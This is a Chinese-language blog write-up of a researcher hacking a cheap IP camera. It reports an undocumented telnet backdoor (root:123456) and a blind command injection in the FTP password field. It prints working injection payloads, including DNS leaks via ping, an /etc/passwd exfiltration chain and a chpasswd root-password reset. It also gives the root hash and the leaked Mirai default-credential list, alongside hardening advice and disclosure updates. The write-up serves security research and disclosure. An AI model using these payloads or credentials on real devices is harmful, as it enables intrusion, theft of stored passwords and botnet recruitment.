揭秘IP摄像头后门账户:我的黑客探索之旅

本文详细记录了作者如何通过命令注入漏洞成功入侵一台廉价IP摄像头,发现隐藏的Telnet后门账户root:123456,并深入分析了摄像头存在的安全风险与防护措施。

Jump ESP, jump!: 我是如何黑掉我的IP摄像头并发现这个后门账户的

时机已到。我购买了第二个物联网设备——一台廉价的IP摄像头。由于它是所有选项中价格最便宜的,我对它的安全性期望很低。但这台摄像头仍然让我大吃一惊。

也许我稍后会在博客中披露这次黑客攻击中使用的摄像头型号,但首先,我会尝试就这些问题联系相关人员。不幸的是,似乎很多不同的摄像头都有这个问题,因为它们都是基于相同的SDK开发的。再次强调,我对这方面的期望很低。

明显的问题

我打开盒子,迎接我的是一个四位数字的密码。这是“admin”用户的密码,该用户可以配置设备、观看输出视频等。大多数人根本不在乎更改这个密码。

很明显,这台摄像头可以通过以太网电缆或WiFi进行通信。幸运的是,它支持WPA2,但人们当然可以将其配置为开放无保护的WiFi。

嗅探摄像头和桌面应用程序之间的流量很容易发现,它通过端口81上的HTTP进行通信。会话管理纯粹是天才之举。用户名和密码在每个GET请求中发送。通过HTTP。通过希望不是开放的WiFi。如果你忘记了密码,这真的很方便,但幸运的是,桌面应用程序已经将密码以明文形式保存在

C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat

这台不错的摄像头通过UDP与云通信。目标服务器位于香港——user.ipcam.hk/user.easyn.hk——和中国——op2.easyn.cn/op3.easyn.cn。如果你想知道为什么IP摄像头需要云连接,这很简单。这款IP摄像头有Android和iOS的移动应用,通过云,用户无需配置端口转发或动态DNS即可访问摄像头。很好。

快速nmap扫描

让我们对这台设备运行一次快速的nmap扫描。

1
2
3
4
5
6
7
8
9
PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

已知的HTTP服务器、通过BusyBox的telnet服务器,以及端口8600(至今未检查)。27页的在线手册没有提到任何Telnet端口。我们该如何命名这个端口?调试端口?还是后门端口?我们会看到。我手动尝试了root用户的3个密码,但由于这些密码不起作用,我继续前进。

双盲命令注入

IP摄像头可以按计划将照片上传到配置的FTP服务器。当我配置它时,不幸的是,它根本不起作用,我在服务器上收到了无效的用户名/密码。经过一些调试,发现问题是我在密码中有一个特殊的$字符。这就是真正旅程开始的地方。我确信这是一个命令注入漏洞,但不确定如何利用它。有多个问题使得利用更加困难。我称这个漏洞为双盲命令注入。第一个盲点是我们无法看到命令的输出,第二个盲点是因为命令在与Web服务器不同的进程中运行,因此任何涉及睡眠的基于时间的注入都不是真正的解决方案。

但第三个问题是最糟糕的。它限制在32个字符。我能够通过DNS泄漏一些信息,比如通过以下命令我能够看到当前目录:

$(ping%20-c%202%20%60pwd%60)

或URL解码后清理:

$(ping -c 2 \pwd`)`

但每当我尝试从/etc/passwd泄漏信息时,都失败了。我尝试了$(reboot),这是一个相当糟糕的主意,因为它将摄像头变成了无限重启循环,摄像头上的硬重置按钮也无法工作。有趣的时光。

以下是我拼命尝试获取shell访问权限的一些例子。现在是时候感谢EQ在黑客会话之夜提供的帮助以及他的好主意。

1
2
3
4
$(cp /etc/passwd /tmp/a)     ;复制 /etc/passwd 到名称较短的文件
$(cat /tmp/a|head -1>/tmp/b)   ;过滤第一行
$(cat</tmp/b|tr -d ' '>/tmp/c) ;过滤掉不需要的字符
$(ping \`cat /tmp/c\`)           ;通过DNS泄漏

在我最终黑掉摄像头后,我看到了问题。这台设备上没有head、tr、less、more或cut……也没有netcat、bash……

我还尝试了commix,因为它在YouTube上看起来很有前途。把commix想象成sqlmap,但是用于命令注入。但不幸的是,这种双盲黑客攻击对这个自动化工具来说有点太难了。

但在花了太多时间没有进展之后,我终于找到了打开芝麻的密码。

$(echo 'root:passwd'|chpasswd)

现在,通过telnet登录

1
2
3
4
5
6
(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

哇哦 :) 我很快注意到了命令注入问题的根源:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

每当一个命令被放入FTP密码字段时,它就会被复制到这个脚本中,并且在脚本被调度后,它会被shell解释为命令。之后,我开始恐慌,因为我忘记保存/etc/passwd文件的内容,那么我将如何破解默认的telnet密码?“幸运的是”,重启摄像头恢复了原始密码。

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

不幸的是,没有必要为这个任务启动老旧的John The Ripper,因为Google可以告诉你这是密码123456的哈希值。它比行李密码安全一点。

总结

现在是时候回顾一下我们有什么了。IP摄像头上有一个未文档化的telnet端口,默认可以通过root:123456访问,没有GUI可以更改这个密码,通过控制台更改它,只能持续到下次重启。我认为可以安全地称这是一个后门。

通过这个控制台访问,我们可以访问FTP服务器的密码、SMTP服务器(用于警报)的密码、WiFi密码(虽然我们可能已经有了),访问摄像头的常规管理界面,或者只是按照我们的意愿修改摄像头。在大多数部署中,幸运的是,这个telnet端口在NAT或防火墙后面,因此无法从互联网访问。但总有例外。幸运的是,UPNP没有配置Telnet端口对互联网开放,只有摄像头HTTP端口81。你知道,默认情况下受4位数字密码保护的那个。

最后但并非最不重要的是,所有东西都以root身份运行,这并不令人惊讶。

我的加固列表

我将这些行添加到/system/init/ipcam.sh的末尾:

1
2
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

另外,如果你愿意,可以通过在/system/init/ipcam.sh中注释掉telnetd来禁用telnet服务。

如果你想禁用云连接(从而使移动应用无法使用),将以下行放入/system/init/ipcam.sh的开头:

1
iptables -A OUTPUT -p udp ! --dport 53 -j DROP

你可以使用OpenVPN连接到你的家庭网络并访问摄像头的Web界面。它适用于Android、iOS和任何桌面操作系统。

我的待办列表

  • 调查脚本/system/system/bin/gmail_thread
  • 调查云协议* - 参见2016年10月27日更新
  • 购买一个树莓派,集成一个好的USB摄像头,并看着这台IP摄像头烧毁

快速的谷歌搜索显示,我不是第一个在IP摄像头中发现这个telnet后门账户的人,尽管其他人是通过JTAG固件转储发现的。

而99%购买这些IP摄像头的人认为它们会安全。现在我明白了随IP摄像头而来的贴纸。

当在《Mr. Robot》的下一集中,你看到有人通过telnet以root:123456登录IP摄像头时,你会知道,这是悲伤的现实。

如果你对保护家庭免受物联网侵害的通用方法感兴趣,请阅读我之前的博客文章。

更新:正如你在以下截图中所看到的,坏人已经开始利用这个问题……https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

更新20161006:Mirai源代码上周泄露,这些是你在物联网设备中可能拥有的最糟糕的密码。如果你的物联网设备有开放的Telnet端口(或SSH),扫描这些用户名/密码对。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

更新2016年10月27日:正如我在多个会议上已经提到的,云协议是一场噩梦。它是明文的,即使你在路由器上禁用了端口转发/UPNP,云协议仍然允许任何人连接到摄像头,如果攻击者知道(可暴力破解的)摄像头ID。虽然这只是用户界面,但现在攻击者可以使用命令注入以root权限执行代码。或者只是抓取摄像头配置,包括WiFi、FTP、SMTP密码。 YouTube视频:https://www.youtube.com/watch?v=18_zTjsngD8 幻灯片(29 - )https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

更新2017-03-08:“由于代码重用,漏洞存在于大量摄像头列表中(尤其是InfoLeak和RCE),这允许我们对1250多个具有预认证漏洞的摄像头型号执行root命令。”https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

更新2017-05-11:CVE-2017-5674(见上文),以及我的命令注入利用被结合在Persirai僵尸网络中。预计很快会有12万台摄像头被感染。如果你家里还有这样的摄像头,请考虑Amit Serper的以下建议:“保证受影响的摄像头免受这些漏洞影响的唯一方法是将其扔掉。说真的。” 这个问题可能比Mirai蠕虫更严重,因为这些影响摄像头和其他启用了UPnP的NAT后面的物联网设备。 http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计